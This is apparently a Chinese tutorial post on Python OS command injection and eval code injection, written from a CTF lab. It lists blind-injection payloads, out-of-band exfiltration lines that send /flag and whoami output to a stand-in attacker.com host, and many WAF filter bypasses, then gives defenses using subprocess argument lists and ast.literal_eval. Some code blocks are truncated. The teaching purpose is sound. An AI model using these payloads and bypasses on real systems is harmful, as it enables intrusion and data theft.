python代码与命令执行漏洞
在 Python Web 开发中,如果在处理用户输入时缺乏严格的过滤和验证,且错误地使用了高危函数,就极易导致命令执行(OS Command Injection)或代码执行(Code Injection)漏洞。攻击者一旦利用成功,通常可以直接获取服务器的控制权(RCE)。
OS命令执行漏洞
漏洞原理
当应用程序需要调用操作系统级命令来完成某些任务(如网络连通性测试 ping、文件处理等)时,如果将未经净化的用户输入直接拼接到了系统命令字符串中并执行,攻击者就可以通过注入系统命令分隔符(如 ;、|、&&、||)来执行预期之外的恶意系统命令。
常见危险函数
os.system()os.popen()subprocess.Popen()/subprocess.run()/subprocess.call()(当参数shell=True时)commands模块下的函数(Python 2 环境)
假设一个 Flask Web 接口提供 ping 功能:
1 | import os |
攻击方式:如果用户传入 ip=127.0.0.1; id,实际执行的命令变成了 ping -c 4 127.0.0.1; id,系统会一并执行 id 命令并将结果返回。
常见类型
无回显的命令执行漏洞
常见的盲注探测与利用手法
当你怀疑某个参数存在命令注入,但页面没有任何报错或输出时,通常会使用以下三种方法进行测试和利用:
时间盲注
最简单直接的探测方法。通过注入耗时命令,观察服务器响应时间的延迟。
Payload 示例: 127.0.0.1; sleep 5 或 127.0.0.1; ping -c 5 127.0.0.1
原理: 如果服务器过了 5 秒才返回那个“干瘪”的页面,说明 sleep 5 被成功执行了,漏洞存在。
输出重定向
这就是你在靶场中最终拿到 flag 的方法。既然网页不给我看,那我就把结果写到一个我能看到的地方。
Payload 示例: ; cat /flag > /tmp/flag.txt(或者写入到 Web 根目录下,如 /var/www/html/flag.txt,然后直接通过浏览器访问下载)。
原理: 利用 Linux 的重定向符 > 或 >>,将标准输出转存到系统内的其他文件。
带外数据提取 (Out-of-Band / OOB)
这是实战中最常用的高级手法(比如使用 DNSLog 或 Ceye)。当服务器不出网限制不严时,我们可以让目标服务器主动把执行结果“寄”到我们控制的服务器上。
HTTP 请求 Payload: ; curl http://attacker.com/?data=$(base64 /flag)
原理: 目标服务器执行 cat /flag 并进行 base64 编码,然后拼接到 URL 中,向攻击者的服务器发送 HTTP GET 请求。攻击者只需查看自己的服务器日志即可。
DNS 请求 Payload: ; ping -c 1 $(whoami).attacker.com
原理: 目标服务器解析域名时,会将执行命令的结果(如 root)作为子域名发送到攻击者的 DNS 服务器。
代码案例
1 | import subprocess |
WAF过滤
命令分隔符过滤绕过
当常见的 ;、|、& 被过滤时,我们可以利用系统本身支持的其他控制字符来截断命令。
- 换行符绕过 (Newline): 在 URL 中表现为
%0a。在 Bash 中,换行符同样代表上一条命令的结束。- Payload:
ip=127.0.0.1%0awhoami
- Payload:
- 回车符绕过 (Carriage Return): 在 URL 中表现为
%0d。- Payload:
ip=127.0.0.1%0dwhoami
- Payload:
空格过滤绕过
当 WAF 过滤了空格字符( 或 %20)时,系统无法区分命令和参数,可以通过以下方式替换空格:
$IFS环境变量:$IFS(Internal Field Separator)是 Linux 中的内部字段分隔符,默认值包含空格、制表符和换行符。- Payload:
cat$IFS/flag - 进阶: 为了防止 Shell 将
$IFS后面的字母也当作变量名的一部分,通常会结合大括号${IFS}或追加一个空变量$9(代表第9个参数,通常为空)来截断:cat${IFS}/flagcat$IFS$9/flag
- Payload:
- 输入重定向符
<和<>:- Payload:
cat</flag或cat<>/flag
- Payload:
- Tab 键绕过: 在 URL 中表现为
%09。- Payload:
cat%09/flag
- Payload:
关键字过滤绕过 (如 cat, flag)
当特定的敏感词被拉黑时,可以通过 Shell 的解析特性来打断关键字,但仍保持命令的正常执行。
- 引号/反斜杠拼接: Shell 遇到没有实际意义的单/双引号或反斜杠会自动忽略。
- Payload:
c""at /fl''ag - Payload: `c\at /fl\ag``
- Payload:
- *通配符绕过 (? 和 _): 利用路径匹配。
- Payload:
/bin/c?? /fl*(匹配/bin/cat /flag) - Payload:
cat /fl[a-z]g
- Payload:
- 变量拼接: 将关键字拆分赋值给多个变量,然后再拼接执行。
- Payload:
a=c;b=at;c=/fl;d=ag;$a$b $c$d
- Payload:
读取命令替换 (当 cat 被彻底封杀)
Linux 提供了众多不仅限于 cat 的文件读取命令:
tac: 反向输出文件内容(从最后一行开始)。more/less: 分页显示文件内容。head/tail: 打印文件开头/结尾的内容。nl: 带有行号输出文件内容。od -c: 以八进制(及 ASCII)转储文件内容,常用于绕过严格的纯文本过滤。sort/uniq: 也可以间接用于输出文件内容。- 文本处理工具:
awk '{print $0}' /flag或sed -n '1,$p' /flag
编码与命令执行绕过
如果过滤规则极其严格(比如限制了字母或特定符号),可以考虑在本地将恶意命令进行 Base64 或十六进制编码,然后在目标服务器上解码并执行。
Base64 解码执行:
避免使用
shell=True:在使用subprocess模块时,坚决不要使用shell=True。参数列表化传递:将命令和参数作为列表传递给
subprocess,这样 Python 会将其作为单个参数处理,而不是交给 shell 解析。1
2
3
4
5
6
7
8
9
10
11
12import subprocess
from flask import request
def secure_ping():
ip = request.args.get('ip')
# 安全!以列表形式传入参数,且 shell=False(默认)
try:
result = subprocess.run(["ping", "-c", "4", ip], capture_output=True, text=True, timeout=5)
return result.stdout
except Exception as e:
return "Error occurred."
代码执行漏洞 (Code Execution)
漏洞原理
代码执行漏洞是指应用程序将用户输入的数据当作 Python 源代码进行动态解析和执行。由于 Python 是动态语言,提供了强大的反射和动态执行机制,如果滥用这些机制,后果不堪设想。
常见危险函数
eval():执行传入的 Python 表达式。exec():执行传入的动态 Python 语句块。compile():将字符串编译为字节代码,可与eval/exec结合使用。
漏洞示例 (非安全代码)
假设一个基于 Python 的计算器 Web 接口:
1 | from flask import request |
攻击方式: 攻击者不会输入 1+1,而是输入 __import__('os').system('whoami')。eval 会将其作为 Python 代码执行。
防御与修复
- 绝对禁止将不可信的用户输入传入
eval()或exec()。 - 使用安全的替代方案:如果必须解析类似于 Python 数据结构的字符串(如字典、列表、数字),请使用
ast.literal_eval()。它只解析基础的字面量表达式,不会执行任何函数调用或复杂逻辑。
1 | import ast |
